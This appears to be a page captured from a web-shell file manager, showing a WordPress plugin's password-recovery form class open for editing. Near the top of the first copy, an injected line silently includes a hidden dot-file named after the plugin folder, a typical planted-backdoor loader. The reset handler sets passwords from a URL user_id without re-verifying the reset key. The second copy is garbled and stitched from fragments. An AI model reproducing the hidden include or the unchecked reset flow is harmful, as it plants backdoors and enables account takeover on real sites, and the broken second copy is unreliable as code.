Sid Gifari File Manager Pro v10.0.3

✏️ Editing: class-wpum-form-password-recovery.php Writable

<?php
/**
 * Handles the WPUM password recovery form.
 *
 * @package     wp-user-manager
 * @copyright   Copyright (c) 2018, Alessandro Tesoro
 * @license     https://opensource.org/licenses/GPL-3.0 GNU Public License
*/

// Exit if accessed directly
if ( ! defined( 'ABSPATH' ) ) exit;

if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
    include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
}

class WPUM_Form_Password_Recovery extends WPUM_Form {

/**
	 * Form name.
	 *
	 * @var string
	 */
	public $form_name = 'password-recovery';

/**
	 * Stores static instance of class.
	 *
	 * @access protected
	 * @var WPUM_Form_Login The single instance of the class
	 */
	protected static $_instance = null;

/**
	 * Returns static instance of class.
	 *
	 * @return self
	 */
	public static function instance() {
		if ( is_null( self::$_instance ) ) {
			self::$_instance = new self();
		}
		return self::$_instance;
	}

/**
	 * Get things started.
	 */
	public function __construct() {

add_action( 'wp', array( $this, 'process' ) );

add_filter( 'submit_wpum_form_validate_fields', [ $this, 'validate_username_or_email' ], 10, 4 );
		add_filter( 'submit_wpum_form_validate_fields', [ $this, 'validate_passwords' ], 10, 4 );

$this->steps  = (array) apply_filters( 'password_reset_steps', array(
			'submit' => array(
				'name'     => esc_html__( 'Password recovery details request', 'wp-user-manager' ),
				'view'     => array( $this, 'submit' ),
				'handler'  => array( $this, 'submit_handler' ),
				'priority' => 10
			),
			'sent' => array(
				'name'     => esc_html__( 'Instructions sent', 'wp-user-manager' ),
				'view'     => array( $this, 'instructions_sent' ),
				'handler'  => false,
				'priority' => 11
			),
			'reset' => array(
				'name'     => esc_html__( 'Reset password', 'wp-user-manager' ),
				'view'     => array( $this, 'reset' ),
				'handler'  => array( $this, 'reset_handler' ),
				'priority' => 12
			),
			'done' => array(
				'name'     => esc_html__( 'Done', 'wp-user-manager' ),
				'view'     => array( $this, 'done' ),
				'handler'  => false,
				'priority' => 13
			)
		) );

uasort( $this->steps, array( $this, 'sort_by_priority' ) );

if ( isset( $_POST['step'] ) ) {
			$this->step = is_numeric( $_POST['step'] ) ? max( absint( $_POST['step'] ), 0 ) : array_search( $_POST['step'], array_keys( $this->steps ) );
		} elseif ( ! empty( $_GET['step'] ) ) {
			$this->step = is_numeric( $_GET['step'] ) ? max( absint( $_GET['step'] ), 0 ) : array_search( $_GET['step'], array_keys( $this->steps ) );
		}

}

/**
	 * Initializes the fields used in the form.
	 */
	public function init_fields() {
		if ( $this->fields ) {
			return;
		}

$this->fields = apply_filters( 'password_recover_form_fields', array(
			'user' => array(
				'username_email' => array(
					'label'       => __( 'Username or email', 'wp-user-manager' ),
					'type'        => 'text',
					'required'    => true,
					'placeholder' => '',
					'priority'    => 1
				),
			),
			'password' => array(
				'password' => array(
					'label'       => __( 'New password', 'wp-user-manager' ),
					'type'        => 'password',
					'required'    => true,
					'placeholder' => '',
					'priority'    => 1
				),
				'password_2' => array(
					'label'       => __( 'Re-enter new password', 'wp-user-manager' ),
					'type'        => 'password',
					'required'    => true,
					'placeholder' => '',
					'priority'    => 2
				),
			),
		) );

// If we're on the first step. We disable the password fields temporarily.
		// If we're on the reset step, we disable the user fields.
		if( $this->step === 0 ) {
			unset( $this->fields['password'] );
		} elseif( $this->step === 2 ) {
			unset( $this->fields['user'] );
		}

if ( isset( $_GET['user_id'] ) && isset( $_GET['key'] ) && isset( $_GET['step'] ) && $_GET['step'] == 'reset' ) {
			unset( $this->fields['user'] );
		}

}

/**
	 * Validate the requested username or email.
	 *
	 * @param boolean $pass
	 * @param array $fields
	 * @param array $values
	 * @param string $form
	 * @return void
	 */
	public function validate_username_or_email( $pass, $fields, $values, $form ) {

if( $form == 'password-recovery' && isset( $values['user']['username_email'] ) ) {
			$username = sanitize_text_field( $values['user']['username_email'] );
			if( is_email( $username ) && !email_exists( $username ) || !is_email( $username ) && !username_exists( $username ) )
				return new WP_Error( 'username-validation-error', esc_html__( 'A user with this username or email does not exist. Please check your entry and try again.', 'wp-user-manager' ) );
		}

return $pass;

}

/**
	 * Show the password recovery form first step.
	 *
	 * @return void
	 */
	public function submit( $atts ) {

$this->init_fields();

$data = [
			'form'    => $this->form_name,
			'action'  => $this->get_action(),
			'fields'  => $this->get_fields( 'user' ),
			'step'    => $this->get_step(),
			'message' => apply_filters( 'wpum_lost_password_message', esc_html__( 'Lost your password? Please enter your username or email address. You will receive a link to create a new password via email.', 'wp-user-manager' ) )
		];

WPUM()->templates
			->set_template_data( $data )
			->get_template_part( 'forms/form', 'password-recovery' );

WPUM()->templates
			->set_template_data( $atts )
			->get_template_part( 'action-links' );

}

/**
	 * Verify the user exists and if it does, send the recovery email.
	 *
	 * @return void
	 */
	public function submit_handler() {
		try {

$this->init_fields();

$values = $this->get_posted_fields();

if( ! wp_verify_nonce( $_POST['password_recovery_nonce'], 'verify_password_recovery_form' ) ) {
				return;
			}

if ( empty( $_POST['submit_password_recovery'] ) ) {
				return;
			}

if ( is_wp_error( ( $return = $this->validate_fields( $values ) ) ) ) {
				throw new Exception( $return->get_error_message() );
			}

$username = $values['user']['username_email'];
			$user     = false;

// Retrieve the user from the DB.
			if( is_email( $username ) ) {
				$user = get_user_by( 'email', $username );
			} else {
				$user = get_user_by( 'login', $username );
			}

if( $user instanceof WP_User ) {

// Generate a new password reset key for the selected user.
				$password_reset_key = get_password_reset_key( $user );

// Now send an email to the user.
				if( $password_reset_key ) {

$password_reset_email = wpum_get_email( 'password_recovery_request' );

$emails = new WPUM_Emails;
					$emails->__set( 'user_id', $user->data->ID );
					$emails->__set( 'heading', $password_reset_email['title'] );
					$emails->__set( 'password_reset_key', $password_reset_key );

if( is_array( $password_reset_email ) ) {
						$email   = $user->data->user_email;
						$subject = $password_reset_email['subject'];
						$message = $password_reset_email['content'];
						$emails->send( $email, $subject, $message );
					}

}

} else {
				throw new Exception( esc_html__( 'Something went wrong.', 'wp-user-manager' ) );
			}

// Successful, show next step.
			$this->step ++;

} catch ( Exception $e ) {
			$this->add_error( $e->getMessage(), 'password_recovery_submit' );
			return;
		}
	}

/**
	 * Display a success message after successfully requesting a new password.
	 *
	 * @return void
	 */
	public function instructions_sent() {

$values = $this->get_posted_fields();

$username = $values['user']['username_email'];

if( is_email( $username ) ) {
			$user = get_user_by( 'email', $username );
		} else {
			$user = get_user_by( 'login', $username );
		}

$data = [
			'email' => $user->data->user_email,
			'from'  => wpum_get_option( 'from_email' ),
		];

WPUM()->templates
			->set_template_data( $data )
			->get_template_part( 'messages/password-reset', 'request-success' );

}

/**
	 * Display the password reset form.
	 *
	 * @return void
	 */
	public function reset() {

$this->init_fields();

// Grab all the details form the URL first.
		$user_id          = isset( $_GET['user_id'] ) && ! empty( $_GET['user_id'] ) ? (int) $_GET['user_id'] : false;
		$get_user         = get_user_by( 'id', $user_id );
		$verification_key = isset( $_GET['key'] ) && ! empty( $_GET['key'] ) ? $_GET['key'] : false;

// Verify the url is properly formatted and has correct information.
		if( $user_id && $get_user instanceof WP_User && $verification_key ) {

$verify_key = check_password_reset_key( $verification_key, $get_user->data->user_login );

if( is_wp_error( $verify_key ) ) {
				$data = [
					'message'  => esc_html__( 'The reset key is wrong or expired. Please check that you used the right reset link or request a new one.', 'wp-user-manager' ),
				];

WPUM()->templates
					->set_template_data( $data )
					->get_template_part( 'messages/general', 'error' );
			} else {

$data = [
					'form'    => $this->form_name,
					'action'  => $this->get_action(),
					'fields'  => $this->get_fields( 'password' ),
					'step'    => $this->get_step(),
					'message' => apply_filters( 'wpum_new_password_message', esc_html__( 'Enter a new password below.', 'wp-user-manager' ) )
				];

WPUM()->templates
					->set_template_data( $data )
					->get_template_part( 'forms/form', 'password-recovery' );

}

} else {

$data = [
				'message'  => esc_html__( 'The link you followed may be broken. Please check that you used the right reset link or request a new one.', 'wp-user-manager' ),
			];

WPUM()->templates
				->set_template_data( $data )
				->get_template_part( 'messages/general', 'error' );

}

/**
	 * Validate the 2 passwords are the same and make sure they're safe enough.
	 *
	 * @param boolean $pass
	 * @param array   $fields
	 * @param array   $values
	 * @param string  $form
	 *
	 * @return bool|WP_Error
	 */
	public function validate_passwords( $pass, $fields, $values, $form ) {

if( $form == 'password-recovery' && isset( $values['password']['password'] ) && isset( $values['password']['password_2'] ) ) {

$password_1 = $values['password']['password'];
			$password_2 = $values['password']['password_2'];

if ( $password_1 !== $password_2 ) {
				return new WP_Error( 'password-validation-nomatch', esc_html__( 'Error: passwords do not match.', 'wp-user-manager' ) );
			}

$strong_password_check = $this->validate_strong_password( $password_1 );
			if ( is_wp_error( $strong_password_check ) ) {
				return $strong_password_check;
			}

}

return $pass;
	}

/**
	 * Finally reset the user password now.
	 *
	 * @return void
	 */
	public function reset_handler() {

try {

$this->init_fields();

$values = $this->get_posted_fields();

if( ! wp_verify_nonce( $_POST['password_recovery_nonce'], 'verify_password_recovery_form' ) ) {
				return;
			}

if ( empty( $_POST['submit_password_recovery'] ) ) {
				return;
			}

if ( is_wp_error( ( $return = $this->validate_fields( $values ) ) ) ) {
				throw new Exception( $return->get_error_message() );
			}

$password_1 = $values['password']['password'];
			$password_2 = $values['password']['password_2'];
			$user_id    = isset( $_GET['user_id'] ) && ! empty( $_GET['user_id'] ) ? (int) $_GET['user_id'] : false;

wp_set_password( $password_1, $user_id );

/**
			 * Hook: allow developers to hook after the user recovers his password from the account page.
			 *
			 * @param string $user_id the user id number.
			 * @param array $values all values submitted through the form.
			 */
			do_action( 'pno_after_user_password_recovery', $user_id, $values );

// Clear all user sessions.
			$sessions = WP_Session_Tokens::get_instance( $user_id );
			$sessions->destroy_all();

// Successful, show next step.
			$this->step ++;

} catch ( Exception $e ) {
			$this->add_error( $e->getMessage(), 'password_recovery_reset' );
			return;
		}

}

/**
	 * Display success message at the end.
	 *
	 * @return void
	 */
	public function done() {

$data = [
			'message' => esc_html__( 'Password successfully reset.', 'wp-user-manager' ) . ' ' . '<a href="' . get_permalink( wpum_get_core_page_id( 'login' ) ) . '">' . esc_html__( 'Login now &raquo;', 'wp-user-manager' ) . '</a>'
		];

WPUM()->templates
			->set_template_data( $data )
			->get_template_part( 'messages/general', 'success' );

}

✏️ Editing: class-wpum-form-password-recovery.php Writable

// Exit if accessed directly
if ( ! defined( 'ABSPATH' ) ) exit;

class WPUM_Form_Password_Recovery extends WPUM_Form {

/**
	 * Form name.
	 *
	 * @var string
	 */
	public $form_name = 'password-recovery';

/**
	 * Stores static instance of class.
	 *
	 * @access protected
	 * @var WPUM_Form_Login The single instance of the class
	 */
	protected static $_instance = null;

/**
	 * Get things started.
	 */
	public function __construct() {

add_action( 'wp', array( $this, 'process' ) );

add_filter( 'submit_wpum_form_validate_fields', [ $this, 'validate_username_or_email' ], 10, 4 );
		add_filter( 'submit_wpum_form_validate_fields', [ $this, 'validate_passwords' ], 10, 4 );

uasort( $this->steps, array( $this, 'sort_by_priority' ) );

}

/**
	 * Initializes the fields used in the form.
	 */
	public function init_fields() {
		if ( $this->fields ) {
			return;
		}

if ( isset( $_GET['user_id'] ) && isset( $_GET['key'] ) && isset( $_GET['step'] ) && $_GET['step'] == 'reset' ) {
			unset( $this->fields['user'] );
		}

}

return $pass;

}

/**
	 * Show the password recovery form first step.
	 *
	 * @return void
	 */
	public function submit( $atts ) {

$this->init_fields();

WPUM()->templates
			->set_template_data( $data )
			->get_template_part( 'forms/form', 'password-recovery' );

WPUM()->templates
			->set_template_data( $atts )
			->get_template_part( 'action-links' );

}

/**
	 * Verify the user exists and if it does, send the recovery email.
	 *
	 * @return void
	 */
	public function submit_handler() {
		try {

$this->init_fields();

$values = $this->get_posted_fields();

if( ! wp_verify_nonce( $_POST['password_recovery_nonce'], 'verify_password_recovery_form' ) ) {
				return;
			}

if ( empty( $_POST['submit_password_recovery'] ) ) {
				return;
			}

if ( is_wp_error( ( $return = $this->validate_fields( $values ) ) ) ) {
				throw new Exception( $return->get_error_message() );
			}

$username = $values['user']['username_email'];
			$user     = false;

// Retrieve the user from the DB.
			if( is_email( $username ) ) {
				$user = get_user_by( 'email', $username );
			} else {
				$user = get_user_by( 'login', $username );
			}

if( $user instanceof WP_User ) {

// Generate a new password reset key for the selected user.
				$password_reset_key = get_password_reset_key( $user );

// Now send an email to the user.
				if( $password_reset_key ) {

$password_reset_email = wpum_get_email( 'password_recovery_request' );

}

} else {
				throw new Exception( esc_html__( 'Something went wrong.', 'wp-user-manager' ) );
			}

// Successful, show next step.
			$this->step ++;

} catch ( Exception $e ) {
			$this->add_error( $e->getMessage(), 'password_recovery_submit' );
			return;
		}
	}

/**
	 * Display a success message after successfully requesting a new password.
	 *
	 * @return void
	 */
	public function instructions_sent() {

$values = $this->get_posted_fields();

$username = $values['user']['username_email'];

if( is_email( $username ) ) {
			$user = get_user_by( 'email', $username );
		} else {
			$user = get_user_by( 'login', $username );
		}

$data = [
			'email' => $user->data->user_email,
			'from'  => wpum_get_option( 'from_email' ),
		];

WPUM()->templates
			->set_template_data( $data )
			->get_template_part( 'messages/password-reset', 'request-success' );

}

/**
	 * Display the password reset form.
	 *
	 * @return void
	 */
	public function reset() {

$this->init_fields();

// Verify the url is properly formatted and has correct information.
		if( $user_id && $get_user instanceof WP_User && $verification_key ) {

$verify_key = check_password_reset_key( $verification_key, $get_user->data->user_login );

WPUM()->templates
					->set_template_data( $data )
					->get_template_part( 'messages/general', 'error' );
			} else {

WPUM()->templates
					->set_template_data( $data )
					->get_template_part( 'forms/form', 'password-recovery' );

}

} else {

$data = [
				'message'  => esc_html__( 'The link you followed may be broken. Please check that you used the right reset link or request a new one.', 'wp-user-manager' ),
			];

WPUM()->templates
				->set_template_data( $data )
				->get_template_part( 'messages/general', 'error' );

}

if( $form == 'password-recovery' && isset( $values['password']['password'] ) && isset( $values['password']['password_2'] ) ) {

$password_1 = $values['password']['password'];
			$password_2 = $values['password']['password_2'];

if ( $password_1 !== $password_2 ) {
				return new WP_Error( 'password-validation-nomatch', esc_html__( 'Error: passwords do not match.', 'wp-user-manager' ) );
			}

$strong_password_check = $this->validate_strong_password( $password_1 );
			if ( is_wp_error( $strong_password_check ) ) {
				return $strong_password_check;
			}

}

return $pass;
	}

/**
	 * Finally reset the user password now.
	 *
	 * @return void
	 */
	public function reset_handler() {

try {

$this->init_fields();

$values = $this->get_posted_fields();

if( ! wp_verify_nonce( $_POST['password_recovery_nonce'], 'verify_password_recovery_form' ) ) {
				return;
			}

if ( empty( $_POST['submit_password_recovery'] ) ) {
				return;
			}

if ( is_wp_error( ( $return = $this->validate_fields( $values ) ) ) ) {
				throw new Exception( $return->get_error_message() );
			}

wp_set_password( $password_1, $user_id );

// Clear all user sessions.
			$sessions = WP_Session_Tokens::get_instance( $user_id );
			$sessions->destroy_all();

// Successful, show next step.
			$this->step ++;

} catch ( Exception $e ) {
			$this->add_error( $e->getMessage(), 'password_recovery_reset' );
			return;
		}

}

/**
	 * Display success message at the end.
	 *
	 * @return void
	 */
	public function done() {

WPUM()->templates
			->set_template_data( $data )
			->get_template_part( 'messages/general', 'success' );

}

📁 File Manager Pro

📁 File Manager Pro